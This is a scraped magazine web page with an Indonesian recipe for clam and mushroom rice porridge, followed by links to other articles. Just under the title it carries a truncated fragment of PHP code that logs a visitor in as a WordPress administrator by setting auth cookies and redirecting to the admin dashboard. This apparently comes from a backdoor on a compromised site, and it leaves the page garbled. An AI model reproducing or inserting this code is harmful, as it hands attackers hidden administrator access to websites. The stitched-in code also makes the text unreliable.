Bubur Kerang Jamur, Qi Jokee Juk

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Nasi

24 Jun 2011

Bahan:

200 g kerang tahu, cuci bersih
2 L air
3 sdm minyak wijen
2 siung bawang putih, cincang halus
1 buah (150 g) wortel, kupas, bentuk bunga, iris bulat tipis
100 g jamur kancing segar, iris tipis
200 g beras, rendam di dalam air hingga agak lunak, cuci bersih, tiriskan
1 sdt garam
1 sdm kecap ikan
1 sdm doenjang*)

Taburan:

2 batang bawang daun, iris halus
1 lembar nori panggang, potong-potong bentuk lembaran

Pelengkap:

Kimchi sawi putih

Cara Membuat:

Rebus kerang bersama air hingga mendidih dan lunak. Angkat, tiriskan. Keluarkan daging kerang dari cangkangnya, simpan dan sisihkan air rebusannya.
Panaskan minyak, tumis bawang putih hingga harum. Masukkan daging kerang, wortel, dan jamur, aduk rata. Masak hingga harum.
Masukkan beras, aduk rata. Kecilkan api. Tuang air rebusan kerang, aduk perlahan selama 30 menit hingga menjadi bubur.
Bubuhi garam, kecap ikan, dan doenjang, aduk rata. Angkat. Tuang ke dalam mangkuk saji, taburi bahan taburan.
Sajikan panas dengan pelengkap. (f)

*) Doenjang: Bumbu pasta yang terbuat dari fermentasi kacang kedelai. Cita rasanya asam, pedas, dan manis. Dijual dalam kemasan plastik siap pakai di toko bahan makanan Korea atau supermarket terkemuka.

Untuk 6 porsi

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id